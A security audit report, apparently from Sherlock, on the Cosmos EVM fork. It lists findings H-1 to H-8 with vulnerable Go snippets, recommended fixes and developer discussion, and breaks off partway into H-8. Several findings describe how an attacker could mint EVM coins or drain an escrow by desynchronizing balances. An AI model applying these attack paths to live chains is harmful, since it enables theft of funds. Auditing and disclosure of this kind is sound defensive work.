SHERLOCK

Security Review For Interchain Labs

Collaborative Audit Prepared For: **Interchain Labs**
Lead Security Expert(s): **defsec**
g
kuprum
Date Audited: **May 19 - June 23, 2025**

Introduction

This audit evaluates the Cosmos EVM v1, a fork of evmOS, focusing on its security posture and correctness. The fork introduces major upgrades including Geth 1.13, permissionless ERC20 registration with x/bank, support for IBC v2 and Cosmos SDK 0.50 and 0.53, dynamic fee markets (EIP-1559) and Kava's x/precisebank implementation.

Scope

Repository: cosmos/evm

Audited Commit: 73bc2435c3886d7ae181b992a7e6dd2e1c04093b

Final Commit: f932846593afecfb3d9661c3ab122fa2858ba863

Files:

- ante/cosmos/authz.go
- ante/cosmos/eip712.go
- ante/cosmos/min_gas_price.go
- ante/cosmos/reject_msgs.go
- ante/evm/01_setup_ctx.go
- ante/evm/02_mempool_fee.go
- ante/evm/03_global_fee.go
- ante/evm/04_validate.go
- ante/evm/05_signature_verification.go
- ante/evm/06_account_verification.go
- ante/evm/07_can_transfer.go
- ante/evm/08_gas_consume.go
- ante/evm/09_increment_sequence.go
- ante/evm/10_gas_wanted.go
- ante/evm/11_emit_event.go
- ante/evm/fee_checker.go
- ante/evm/mono_decorator.go
- ante/evm/utils.go
- ante/interfaces/cosmos.go
- ante/interfaces/evm.go
- ante/sigverify.go

- api/cosmos/evm/erc20/v1/msg.go
- api/cosmos/evm/vm/v1/access_list_tx.go
- api/cosmos/evm/vm/v1/dynamic_fee_tx.go
- api/cosmos/evm/vm/v1/legacy_tx.go
- api/cosmos/evm/vm/v1/msg.go
- api/cosmos/evm/vm/v1/tx_data.go
- client/block/block.go
- client/block/store.go
- client/config.go
- client/config_test.go
- client/context.go
- cmd/evmd/cmd/root.go
- cmd/evmd/config/chain_id.go
- cmd/evmd/config/config.go
- cmd/evmd/config/constants.go
- cmd/evmd/config/opendb.go
- cmd/evmd/main.go
- crypto/codec/amino.go
- crypto/codec/codec.go
- crypto/ethsecp256k1/ethsecp256k1.go
- crypto/ethsecp256k1/keys.pb.go
- crypto/hd/algorithm.go
- crypto/keyring/options.go
- crypto/secp256r1/verify.go
- encoding/codec/codec.go
- encoding/config.go
- ethereum/eip712/domain.go
- ethereum/eip712/eip712.go
- ethereum/eip712/eip712_legacy.go
- ethereum/eip712/encoding.go
- ethereum/eip712/encoding_legacy.go

- ethereum/eip712/message.go
- ethereum/eip712/preprocess.go
- ethereum/eip712/types.go
- evmd/activators.go
- evmd/ante/ante.go
- evmd/ante/cosmos_handler.go
- evmd/ante/evm_handler.go
- evmd/ante/handler_options.go
- evmd/config.go
- evmd/eips/eips.go
- evmd/genesis.go
- evmd/precompiles.go
- ibc/errors.go
- ibc/module.go
- ibc/utils.go
- precompiles/bank/IBank.sol
- precompiles/bank/bank.go
- precompiles/bank/query.go
- precompiles/bank/types.go
- precompiles/bech32/Bech32I.sol
- precompiles/bech32/bech32.go
- precompiles/bech32/methods.go
- precompiles/common/Types.sol
- precompiles/common/abi.go
- precompiles/common/errors.go
- precompiles/common/precompile.go
- precompiles/common/types.go
- precompiles/distribution/DistributionI.sol
- precompiles/distribution/distribution.go
- precompiles/distribution/errors.go
- precompiles/distribution/events.go

- precompiles/distribution/query.go
- precompiles/distribution/tx.go
- precompiles/distribution/types.go
- precompiles/erc20/IERC20.sol
- precompiles/erc20/IERC20Metadata.sol
- precompiles/erc20/IERC20MetadataAllowance.sol
- precompiles/erc20/approve.go
- precompiles/erc20/erc20.go
- precompiles/erc20/errors.go
- precompiles/erc20/events.go
- precompiles/erc20/query.go
- precompiles/erc20/tx.go
- precompiles/erc20/types.go
- precompiles/evidence/IEvidence.sol
- precompiles/evidence/errors.go
- precompiles/evidence/events.go
- precompiles/evidence/evidence.go
- precompiles/evidence/query.go
- precompiles/evidence/tx.go
- precompiles/evidence/types.go
- precompiles/gov/IGov.sol
- precompiles/gov/errors.go
- precompiles/gov/events.go
- precompiles/gov/gov.go
- precompiles/gov/query.go
- precompiles/gov/tx.go
- precompiles/gov/types.go
- precompiles/ics20/ICS20I.sol
- precompiles/ics20/errors.go
- precompiles/ics20/events.go
- precompiles/ics20/ics20.go

- precompiles/ics20/query.go
- precompiles/ics20/tx.go
- precompiles/ics20/types.go
- precompiles/p256/p256.go
- precompiles/slashing/ISlashing.sol
- precompiles/slashing/events.go
- precompiles/slashing/query.go
- precompiles/slashing/slashing.go
- precompiles/slashing/tx.go
- precompiles/slashing/types.go
- precompiles/staking/StakingI.sol
- precompiles/staking/errors.go
- precompiles/staking/events.go
- precompiles/staking/query.go
- precompiles/staking/staking.go
- precompiles/staking/tx.go
- precompiles/staking/types.go
- precompiles/werc20/IWERC20.sol
- precompiles/werc20/events.go
- precompiles/werc20/tx.go
- precompiles/werc20/werc20.go
- rpc/apis.go
- rpc/backend/account_info.go
- rpc/backend/backend.go
- rpc/backend/blocks.go
- rpc/backend/call_tx.go
- rpc/backend/chain_info.go
- rpc/backend/filters.go
- rpc/backend/mocks/client.go
- rpc/backend/mocks/evm_query_client.go
- rpc/backend/mocks/feemarket_query_client.go

- rpc/backend/node_info.go
- rpc/backend/sign_tx.go
- rpc/backend/tracing.go
- rpc/backend/tx_info.go
- rpc/backend/utils.go
- rpc/ethereum/pubsub/pubsub.go
- rpc/namespaces/ethereum/debug/api.go
- rpc/namespaces/ethereum/debug/trace.go
- rpc/namespaces/ethereum/debug/trace_fallback.go
- rpc/namespaces/ethereum/debug/utils.go
- rpc/namespaces/ethereum/eth/api.go
- rpc/namespaces/ethereum/eth/filters/api.go
- rpc/namespaces/ethereum/eth/filters/filter_system.go
- rpc/namespaces/ethereum/eth/filters/filters.go
- rpc/namespaces/ethereum/eth/filters/subscription.go
- rpc/namespaces/ethereum/eth/filters/utils.go
- rpc/namespaces/ethereum/miner/api.go
- rpc/namespaces/ethereum/miner/unsupported.go
- rpc/namespaces/ethereum/net/api.go
- rpc/namespaces/ethereum/personal/api.go
- rpc/namespaces/ethereum/txpool/api.go
- rpc/namespaces/ethereum/web3/api.go
- rpc/types/addrlock.go
- rpc/types/block.go
- rpc/types/events.go
- rpc/types/query_client.go
- rpc/types/types.go
- rpc/types/utils.go
- rpc/websockets.go
- types/block.go
- types/codec.go

- types/dynamic_fee.go
- types/errors.go
- types/gasmeter.go
- types/genesis.go
- types/hdpath.go
- types/indexer.go
- types/int.go
- types/power.go
- types/protocol.go
- types/validation.go
- utils/eth/eth.go
- utils/utils.go
- x/erc20/client/cli/query.go
- x/erc20/client/cli/tx.go
- x/erc20/genesis.go
- x/erc20/ibc_middleware.go
- x/erc20/keeper/allowance.go
- x/erc20/keeper/dynamic_precompiles.go
- x/erc20/keeper/evm.go
- x/erc20/keeper/grpc_query.go
- x/erc20/keeper/ibc_callbacks.go
- x/erc20/keeper/keeper.go
- x/erc20/keeper/mint.go
- x/erc20/keeper/mint_test.go
- x/erc20/keeper/msg_server.go
- x/erc20/keeper/params.go
- x/erc20/keeper/params_test.go
- x/erc20/keeper/precompiles.go
- x/erc20/keeper/proposals.go
- x/erc20/keeper/testdata/ERC20DirectBalanceManipulation.sol
- x/erc20/keeper/testdata/ERC20MaliciousDelayed.json

- x/erc20/keeper/testdata/ERC20MaliciousDelayed.sol
- x/erc20/keeper/testdata/erc20DirectBalanceManipulation.go
- x/erc20/keeper/testdata/erc20maliciousdelayed.go
- x/erc20/keeper/token_pairs.go
- x/erc20/module.go
- x/erc20/types/allowance.go
- x/erc20/types/codec.go
- x/erc20/types/constants.go
- x/erc20/types/errors.go
- x/erc20/types/events.go
- x/erc20/types/evm.go
- x/erc20/types/genesis.go
- x/erc20/types/interfaces.go
- x/erc20/types/keys.go
- x/erc20/types/mocks/BankKeeper.go
- x/erc20/types/mocks/EVMKeeper.go
- x/erc20/types/msg.go
- x/erc20/types/params.go
- x/erc20/types/proposal.go
- x/erc20/types/token_pair.go
- x/erc20/types/utils.go
- x/erc20/v2/ibc_middleware.go
- x/feemarket/client/cli/query.go
- x/feemarket/genesis.go
- x/feemarket/keeper/abci.go
- x/feemarket/keeper/abci_test.go
- x/feemarket/keeper/eip1559.go
- x/feemarket/keeper/grpc_query.go
- x/feemarket/keeper/keeper.go
- x/feemarket/keeper/msg_server.go
- x/feemarket/keeper/params.go

- x/feemarket/module.go
- x/feemarket/types/codec.go
- x/feemarket/types/events.go
- x/feemarket/types/genesis.go
- x/feemarket/types/keys.go
- x/feemarket/types/msg.go
- x/feemarket/types/params.go
- x/ibc/transfer/ibc_module.go
- x/ibc/transfer/keeper/keeper.go
- x/ibc/transfer/keeper/msg_server.go
- x/ibc/transfer/module.go
- x/ibc/transfer/types/channels.go
- x/ibc/transfer/types/interfaces.go
- x/ibc/transfer/v2/ibc_module.go
- x/precisebank/client/cli/query.go
- x/precisebank/genesis.go
- x/precisebank/keeper/burn.go
- x/precisebank/keeper/fractional_balance.go
- x/precisebank/keeper/grpc_query.go
- x/precisebank/keeper/keeper.go
- x/precisebank/keeper/mint.go
- x/precisebank/keeper/mint_test.go
- x/precisebank/keeper/remainder_amount.go
- x/precisebank/keeper/send.go
- x/precisebank/keeper/view.go
- x/precisebank/module.go
- x/precisebank/types/codec.go
- x/precisebank/types/extended_balance.go
- x/precisebank/types/fractional_balance.go
- x/precisebank/types/fractional_balances.go
- x/precisebank/types/genesis.go

- x/precisebank/types/interfaces.go
- x/precisebank/types/keys.go
- x/vm/ante/ctx.go
- x/vm/client/cli/query.go
- x/vm/client/cli/tx.go
- x/vm/client/cli/utils.go
- x/vm/genesis.go
- x/vm/keeper/abci.go
- x/vm/keeper/block_proposer.go
- x/vm/keeper/call_evm.go
- x/vm/keeper/config.go
- x/vm/keeper/fees.go
- x/vm/keeper/gas.go
- x/vm/keeper/grpc_query.go
- x/vm/keeper/hooks.go
- x/vm/keeper/keeper.go
- x/vm/keeper/msg_server.go
- x/vm/keeper/params.go
- x/vm/keeper/precompiles.go
- x/vm/keeper/state_transition.go
- x/vm/keeper/state_transition_benchmark_test.go
- x/vm/keeper/state_transition_test.go
- x/vm/keeper/statedb.go
- x/vm/keeper/static_precompiles.go
- x/vm/keeper/testdata/ERC20Contract.json
- x/vm/keeper/testdata/TestMessageCall.json
- x/vm/keeper/testdata/contracts.go
- x/vm/keeper/utils.go
- x/vm/module.go
- x/vm/statedb/access_list.go
- x/vm/statedb/config.go

- x/vm/statedb/interfaces.go
- x/vm/statedb/journal.go
- x/vm/statedb/state_object.go
- x/vm/statedb/statedb.go
- x/vm/statedb/statedb_test.go
- x/vm/statedb/transient_storage.go
- x/vm/types/access_list.go
- x/vm/types/access_list_tx.go
- x/vm/types/call.go
- x/vm/types/chain_config.go
- x/vm/types/codec.go
- x/vm/types/compiled_contract.go
- x/vm/types/config.go
- x/vm/types/configurator.go
- x/vm/types/denom.go
- x/vm/types/denom_config.go
- x/vm/types/dynamic_fee_tx.go
- x/vm/types/errors.go
- x/vm/types/events.go
- x/vm/types/evm.pb.go
- x/vm/types/genesis.go
- x/vm/types/interfaces.go
- x/vm/types/key.go
- x/vm/types/legacy_tx.go
- x/vm/types/logs.go
- x/vm/types/msg.go
- x/vm/types/opcodes_hooks.go
- x/vm/types/params.go
- x/vm/types/params_legacy.go
- x/vm/types/permissions.go
- x/vm/types/precompiles.go

- x/vm/types/query.go
- x/vm/types/scaling.go
- x/vm/types/storage.go
- x/vm/types/testdata/SimpleContractHardhat.json
- x/vm/types/tracer.go
- x/vm/types/tx.go
- x/vm/types/tx_args.go
- x/vm/types/tx_data.go
- x/vm/types/tx_types.go
- x/vm/types/utils.go
- x/vm/wrappers/bank.go
- x/vm/wrappers/feemarket.go

Repository: cosmos/go-ethereum

Audited Commit: baa6eeda43ac9c40de082103017bb25b1ea1474c

Final Commit: 92ac59786ed63dc0fc34256703d490476090f18f

Files:

- core/state_transition.go
- core/vm/contract.go
- core/vm/contracts.go
- core/vm/custom_contract.go
- core/vm/custom_contracts.go
- core/vm/custom_eip.go
- core/vm/evm.go
- core/vm/interface.go
- core/vm/interpreter.go
- core/vm/jump_table.go
- core/vm/opcode_hooks.go
- core/vm/stack.go

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
18	27	32

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue H-1: Inconsistent caller identification on the precompiles

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/511

Summary

All precompile contracts in the system use `evm.Origin` (equivalent to `tx.origin`) instead of `contract.CallerAddress` (equivalent to `msg.sender`) for caller identification in transaction methods. This implementation choice creates inconsistency with smart contract behavior and limits compatibility with proxy patterns and smart contract wallets.

Vulnerability Detail

Affected Precompiles and Methods:

Governance Precompile:

- `Vote` and `VoteWeighted` methods use `evm.Origin`

Staking Precompile:

- `CreateValidator`, `EditValidator`, `Delegate`, `Undelegate`, `Redelegate`, `CancelUnbondingDelegation` methods use `evm.Origin`

Evidence Precompile:

- `SubmitEvidence` method uses `evm.Origin`

Distribution Precompile:

- `ClaimRewards`, `SetWithdrawAddress`, `WithdrawDelegatorReward`, `WithdrawValidatorCommission`, `FundCommunityPool`, `DepositValidatorRewardsPool` methods use `evm.Origin`

ICS-20 Precompile:

- `Transfer` method uses `evm.Origin`

This design pattern deviates from standard Ethereum contract behavior where `msg.sender` is the expected caller identification mechanism. The use of `tx.origin` bypasses intermediate contracts in the call chain, which can lead to unexpected behavior when users interact through proxy contracts, smart wallets, or DeFi protocols.

Impact

1. **Proxy Contract Incompatibility**: Upgradeable contracts using proxy patterns cannot properly interact with precompiles

2. **Smart Wallet Limitations:** Contract-based wallets (multisig, social recovery) cannot function as intended
3. **Meta-transaction Failures:** Gasless transaction systems will attribute actions to relayers instead of actual users
4. **Composability Issues:** DeFi protocols that rely on proper caller identification may malfunction

Code Snippet

```
// Pattern repeated across all precompiles
func (p Precompile) Run(evm *vm.EVM, contract *vm.Contract, readOnly bool) (bz
↪  []byte, err error) {
    // ... setup code ...

    switch method.Name {
    case TransactionMethod:
        // Using evm.Origin instead of contract.CallerAddress
        bz, err = p.TransactionMethod(ctx, evm.Origin, contract, stateDB, method,
        ↪  args)
    }
}

// Examples from each precompile:
// Governance: p.Vote(ctx, evm.Origin, ...)
// Staking: p.Delegate(ctx, evm.Origin, ...)
// Evidence: p.SubmitEvidence(ctx, evm.Origin, ...)
// Distribution: p.ClaimRewards(ctx, evm.Origin, ...)
// ICS-20: p.Transfer(ctx, evm.Origin, ...)
```

Tool Used

Manual Review

Recommendation

Replace `evm.Origin` with `contract.CallerAddress` across all precompiles to align with Ethereum standards:

```
// Updated pattern for all precompiles
switch method.Name {
case TransactionMethod:
    // Use contract.CallerAddress for standard msg.sender behavior
    bz, err = p.TransactionMethod(ctx, contract.CallerAddress, contract, stateDB,
    ↪  method, args)
}
```

Discussion

vladjdk

Changed to use msg.sender authentication instead on all of the mentioned calls (and a few more we added in the last scope change): https://github.com/cosmos/evm/pull/183

defsec

The issue has been fixed with https://github.com/cosmos/evm/pull/183.

Issue H-2: Incorrect commission rate assignment in validator creation

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/512

Summary

The `NewMsgCreateValidator` function incorrectly assigns the same commission rate value to all three commission fields (`Rate`, `MaxRate`, and `MaxChangeRate`) instead of using the respective values from the input Commission struct. This causes validators to be created with incorrect commission parameters, potentially leading to unexpected behavior in commission calculations and validator economics.

Vulnerability Detail

In the `NewMsgCreateValidator` function, when creating the `stakingtypes.CommissionRates` struct, all three commission fields are incorrectly assigned the same value from `commission.Rate`:

```
Commission: stakingtypes.CommissionRates{
    Rate:          math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
    ↪  math.LegacyPrecision),
    MaxRate:       math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
    ↪  math.LegacyPrecision), // Should be commission.MaxRate
    MaxChangeRate: math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
    ↪  math.LegacyPrecision), // Should be commission.MaxChangeRate
},
```

The input `Commission` struct correctly defines separate fields:

```
type Commission = struct {
    Rate          *big.Int "json:\"rate\""
    MaxRate       *big.Int "json:\"maxRate\""
    MaxChangeRate *big.Int "json:\"maxChangeRate\""
}
```

However, the implementation ignores `commission.MaxRate` and `commission.MaxChangeRate`, using only `commission.Rate` for all three fields.

Impact

- Validators are created with incorrect maximum commission rate limits
- Commission change rate restrictions are not properly enforced

- Potential for validators to have inconsistent commission parameters compared to their intended configuration

Code Snippet

```
// Current incorrect implementation in NewMsgCreateValidator
msg := &stakingtypes.MsgCreateValidator{
    // ... other fields ...
    Commission: stakingtypes.CommissionRates{
        Rate:          math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
        ↪  math.LegacyPrecision),
        MaxRate:       math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
        ↪  math.LegacyPrecision), // BUG: Should use commission.MaxRate
        MaxChangeRate: math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
        ↪  math.LegacyPrecision), // BUG: Should use commission.MaxChangeRate
    },
    // ... other fields ...
}
```

Tool Used

Manual Review

Recommendation

Use the correct fields from the input Commission struct:

```
// Corrected implementation
Commission: stakingtypes.CommissionRates{
    Rate:          math.LegacyNewDecFromBigIntWithPrec(commission.Rate,
    ↪  math.LegacyPrecision),
    MaxRate:       math.LegacyNewDecFromBigIntWithPrec(commission.MaxRate,
    ↪  math.LegacyPrecision),
    MaxChangeRate: math.LegacyNewDecFromBigIntWithPrec(commission.MaxChangeRate,
    ↪  math.LegacyPrecision),
},
```

Discussion

vladjdk

fixed in https://github.com/cosmos/evm/pull/165/files

defsec

Fix is confirmed.

Issue H-3: Authorization bypass for validator unjailing via slashing precompile

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/527

Summary

In Cosmos chains a validator is jailed for downtime when its nodes experience severe performance issues, and don't participate in consensus with required uptime parameters; as a result of such downtime jailing validator's stake is slashed for the downtime slashing fraction (e.g. 0.01%), and the validator is jailed for the downtime jail duration (typically 1-10 minutes). After that, the validator may be unjailed, becomes bonded, and may participate in consensus again.

In Cosmos SDK's `MsgUnjail`, only validator is authorized to unjail itself. Unlike that, in Cosmos EVM any user may unjail any validator via calling `Slashing` precompile's `unjail` method: the precompile doesn't validate that caller is the validator. As a result, as it's likely that validator's nodes are still nonoperational, the validator may be slashed for downtime again, with its stake slashed each time for the slashing fraction.

Vulnerability Detail

In cosmos-sdk/proto/cosmos/slashing/v1beta1/tx.proto we have that validator is required to be the signer of `MsgUnjail`:

```
message MsgUnjail {
  option (cosmos.msg.v1.signer) = "validator_addr";
```

This is validated when `MsgUnjail` is submitted via a Cosmos transaction.

Unlike that, in Cosmos EVM we have that no validation of the caller is done in the function Unjail from the `slashing` precompile, which is invoked when method `Slashing::unjail` is called from Solidity.

This is worth contrasting e.g. with the function EditValidator from the `staking` precompile, where the caller is properly validated:

```
// we only allow the tx signer "origin" to edit their own validator.
if origin != validatorHexAddr {
    return nil, fmt.Errorf(ErrDifferentOriginFromValidator, origin.String(),
    ↪  validatorHexAddr.String())
}
```

Impact

Any user may repeatedly unjail any jailed validator in a few minutes after the jailing event, though its nodes are yet down and thus not ready to participate in consensus. As a result, unjailed validators are likely to be slashed for downtime again and again, inflicting substantial financial and reputational damage.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/740153a6398a871a097c6fd460da60cba8610f86/evm/precompiles/slashing/tx.go#L25-L55

Tool Used

Manual Review

Recommendation

Implement caller authorization in the same way it's implemented in the `staking` precompile.

Discussion

vladjdk

Hey @kuprumxyz , the code is updated on both staking and slashing, validating only `msg.Sender`. Is this issue still relevant for the updated scope?

kuprumxyz

@vladjdk I confirm that the update fixes the bug as recommended, by checking that the sender is the unjailed validator:

```
if msgSender != validatorAddress {
    return nil, fmt.Errorf(cmn.ErrRequesterIsNotMsgSender, msgSender.String(),
    ↪  validatorAddress.String())
}
```

Issue H-4: Incomplete validation for negative gas tip rewards in fee calculation

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/538

Summary

The `processBlock` function in the backend package contains incomplete error handling for negative gas tip rewards. The current code only checks if `reward == nil` but fails to handle cases where `reward.Sign() < 0`. This leads to negative rewards being processed in fee history calculations, potentially causing incorrect fee estimation and sorting issues.

Vulnerability Detail

In the `processBlock` function within `rpc/backend/backend.go`, when processing Ethereum transactions to calculate fee history, the code retrieves the effective gas tip value but only handles the `nil` case:

```
tx := ethMsg.AsTransaction()
reward := tx.EffectiveGasTipValue(blockBaseFee)
if reward == nil {
    reward = big.NewInt(0)
}
```

However, according to the `EffectiveGasTipValue` function documentation:

```
// EffectiveGasTipValue is identical to EffectiveGasTip, but does not return an
// error in case the effective gasTipCap is negative
```

This means `EffectiveGasTipValue` can return negative values when the effective gas tip cap is negative, but the current implementation does not handle this scenario, allowing negative rewards to be included in the fee history calculations and sorting mechanisms.

Impact

Negative rewards are included in fee history calculations, leading to inaccurate fee estimation for users and applications.

Code Snippet

utils.go#L181-L182

```
tx := ethMsg.AsTransaction()
reward := tx.EffectiveGasTipValue(blockBaseFee)
if reward == nil {
    reward = big.NewInt(0)
}
sorter = append(sorter, txGasAndReward{gasUsed: txGasUsed, reward: reward})
```

Tool Used

Manual Review

Recommendation

Implement proper handling for negative rewards by updating the validation logic to check both `nil` and negative values:

```
tx := ethMsg.AsTransaction()
reward := tx.EffectiveGasTipValue(blockBaseFee)
if reward == nil || reward.Sign() < 0 {
    reward = big.NewInt(0)
}
sorter = append(sorter, txGasAndReward{gasUsed: txGasUsed, reward: reward})
```

Discussion

defsec

Fix is verified.

Issue H-5: `ICS20.Transfer()` updates the EVM balance incorrectly

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/553

Summary

Every other precompile function that can change the EVM coin balance scales the amount to 18 decimals. This is because the EVM Coin Denom in Cosmos may have less than 18 decimals. However, the ICS20 precompile's `transfer` function does not scale the transferred amount to 18 decimals. This can lead to less EVM coins getting subtracted from the sender and getting added to the escrow address.

Vulnerability Detail

The transferred amount is not scaled to 18 decimals in ICS20 precompile's `transfer` function.

```
amt, err := utils.Uint256FromBigInt(msg.Token.Amount.BigInt())
if err != nil {
    return nil, err
}
p.SetBalanceChangeEntries(
    cmn.NewBalanceChangeEntry(sender, amt, cmn.Sub),
    cmn.NewBalanceChangeEntry(escrowHexAddr, amt, cmn.Add),
)
```

If the Cosmos app has an EVM Coin Denom with 6 decimals, then the amount subtracted from the sender will be smaller by 12 decimals. The amount added to the escrow address will also be smaller by 12 decimals. When the journal is committed and SetBalance() on the sender account, their EVM balance will be higher than their Cosmos Extended Denom balance by 12 decimals, and they will get minted tokens to make their EVM balance match their Cosmos balance. A similar thing will happen to the escrow address, but their tokens will get burned.

In effect, the sender can transfer 1e6 EVM coins but only get deducted a fractional balance of 1e6 tokens. The escrow will be credited with only fractional tokens, but it will send out 1e6 EVM coins.

Impact

The sender can transfer EVM coins, but only pay a fraction of the transferred amount. The escrow address will become insolvent. It can cause permanent loss of funds.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/ics20/tx.go#L81

Tool Used

Manual Review

Recommendation

Consider scaling the transferred amount to 18 decimals.

Discussion

gjaldon

This issue is fixed with the backport to the balance handler in Precompiles. The balance handler approach ensures that coins spent or received triggered within the precompile methods will always have an equivalent balance update in the EVM StateDB.

Issue H-6: `WERC20.Deposit()` updates the EVM balance incorrectly

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/554

Summary

Every other precompile function that can change the EVM coin balance scales the amount to 18 decimals. This is because the EVM Coin Denom in Cosmos may have less than 18 decimals. However, the WERC20 precompile's `deposit` function does not convert the 18-decimal EVM coin down to the Cosmos Bank's EVMCoinDenom's decimals, and then directly transfers that amount. This can result in more coins being transferred from the Precompile to the caller.

Vulnerability Detail

Consider the scenario where the EVMCoinDenom's decimals is 6. Since the ETH's decimals in EVM is always 18, sending 1e18 ETH should be equivalent to sending 1e6 EVMCoinDenom on the Cosmos side. The lack of conversion means that sending 1e6 ETH in EVM side will send 1e6 EVM coins in the Cosmos side, instead of sending 1.

```
depositedAmount := contract.Value()

callerAccAddress := sdk.AccAddress(caller.Bytes())
precompileAccAddr := sdk.AccAddress(p.Address().Bytes())

// Send the coins back to the sender
// @audit this is sending the EVMCoinDenom directly through the Bank and not through
 ↪  the BankWrapper or PreciseBank.
if err := p.BankKeeper.SendCoins(
    ctx,
    precompileAccAddr,
    callerAccAddress,
    sdk.NewCoins(sdk.Coin{
        Denom:  evmtypes.GetEVMCoinDenom(),
        Amount: math.NewIntFromBigInt(depositedAmount.ToBig()),
    }),
); err != nil {
```

This leads to the Bank balance being greater than the EVM balance of the sender. The sender can exploit this by transferring their Bank balance and causing an underflow on their EVM balance to mint a large amount of EVM coins.

Impact

An attacker can mint a huge amount of EVM coins.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/werc20/tx.go#L34-L48

Tool Used

Manual Review

Recommendation

Consider downscaling the deposited amount to EVMCoin's decimals.

Discussion

gjaldon

The issue is fixed. The PreciseBankKeeper is now used instead of `BankKeeper`, and the Extended EVM Coin Denom is used as the denom when doing `SendCoins()`. `PreciseBankKeeper` converts the 18-decimal Extended EVM Coin Denom to the base denom.

Issue H-7: `WERC20.Deposit()` balance entries will cancel out but Cosmos balances will be modified

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/558

Summary

The `Deposit()` function in the WERC20 precompile is meant to be a noop and cause no balance changes. This is why the `msg.value` deposited by the caller into the precompile is sent back to them. However, the depositor's bank balance is increased by the deposited amount, which causes the depositor's EVM balance and Cosmos Bank balance to not be in sync.

Vulnerability Detail

Increasing the sender's Cosmos Bank balance, but not modifying their EVM balance opens up an exploit similar to #566.

```
// @audit Deposit() increases the sender's Bank balance but cancels out their
 ↪  balance change
if err := p.BankKeeper.SendCoins(
    ctx,
    precompileAccAddr,
    callerAccAddress,
    sdk.NewCoins(sdk.Coin{
        Denom:  evmtypes.GetEVMCoinDenom(),
        Amount: math.NewIntFromBigInt(depositedAmount.ToBig()),
    }),
```

The only difference in the exploit will be to replace step two's cancel proposal and use this `Deposit()` function instead.

Impact

The deposit will fail if the precompile has no funds. In the worst case, an attacker can mint a large supply of EVM coins.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/precompiles/werc20/tx.go#L40-L47

Tool Used

Manual Review

Recommendation

Consider removing the Cosmos bank balance transfer. It is unnecessary and can be an attack vector.

Discussion

cloudgray

Thank you for carefully identifying the issue. However, I believe this is not a security vulnerability.

The reason is as below.

1. `Deposit` is `payable` method (or triggered by `fallback` / `receive` funcion) [ref] and depositAmount is msg.value [ref]. So, the sender will receive back the amount sent via msg.value.
2. The balance will be overwritten by the amount recorded in the `stateObject` through the `SetBalanceChangeEntries` method. [ref] [ref2]

If I'm mistaken or if there's a branch that reproduces the error, I'd really appreciate it if you could let me know!

gjaldon

Hi @cloudgray,

I'm sorry that my report was unclear. I have reviewed this issue again, and I think it is valid, but requires a clearer explanation.

The main point of the issue is that the depositer/caller's EVM balance will remain the same while their Cosmos balance could increase.

1. `Call`ing the WERC20 precompile will trigger a transfer of value. This transfer will subtract the caller's EVM balance. Let's say their balance was deducted 500 ether.
2. In WERC20 Deposit(), the caller's EVM balance will be increased by 500 ether (the msg.value). This cancels out any EVM balance changes in step 1.
3. Even though the EVM balance changes were canceled out, the caller will still receive 500 ether from the WERC20 precompile in their Cosmos balance. This step will fail if the precompile has no Cosmos balance.

In effect, there will be no EVM balance changes for the caller; however, the caller's Cosmos balance will increase by 500 ether. Since the user's Cosmos balance exceeds their EVM balance, an underflow in the EVM balance can be triggered by calling a precompile function that deducts both Cosmos and EVM balances.

vladjdk

@gjaldon can you send us a reproduction of this issue? Both EVM and Cosmos balances are finalized by the StateDB commitments. It isn't possible for the EVM and Cosmos balances for the gas token to differ.

gjaldon

@vladjdk I will try to reproduce the issue within the next 24 hours and update you here.

gjaldon

> In effect, there will be no EVM balance changes for the caller; however, the caller's Cosmos balance will increase by 500 ether. Since the user's Cosmos balance exceeds their EVM balance, an underflow in the EVM balance can be triggered by calling a precompile function that deducts both Cosmos and EVM balances.

To clarify, I was pointing out that the EVM and Cosmos balances are not synced only until before the StateDB commitment. Since the EVM balances can no longer underflow in the fix PR, this issue is no longer a problem. Otherwise, precompile method calls can be used to deduct both EVM and Cosmos balances to underflow the EVM balance.

This issue is now indirectly fixed, but it remains a potential attack vector in the future due to the temporary desynchronization between the EVM and Cosmos balances. It seems worth taking note of this behavior when making future changes to precompiles related to balance changes.

lpetroulakis

The issue has been fixed in https://github.com/cosmos/evm-internal/pull/49

Issue H-8: Attacker can mint EVM coins by canceling proposal and transferring coins

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/566

Summary

Due to a combination of behaviors such as:

1. No balance change entries for proposal depositors when canceling a proposal.
2. Underflowing EVM balance.
3. Ability to bypass `CanTransfer` checks with balance entries in precompiles and cause an underflow in the EVM balance.
4. Minting EVM coins when the EVM balance is greater than the Cosmos bank balance when committing the StateDB.
5. Precise bank converting an 18-decimal value to a lower-decimal value when minting EVM coins.

An attacker can mint a large supply of EVM coins.

Vulnerability Detail

The lack of EVM balance change entries for depositors in `CancelProposal` can cause the Cosmos bank balance of these depositors to be greater than their EVM balance.

```
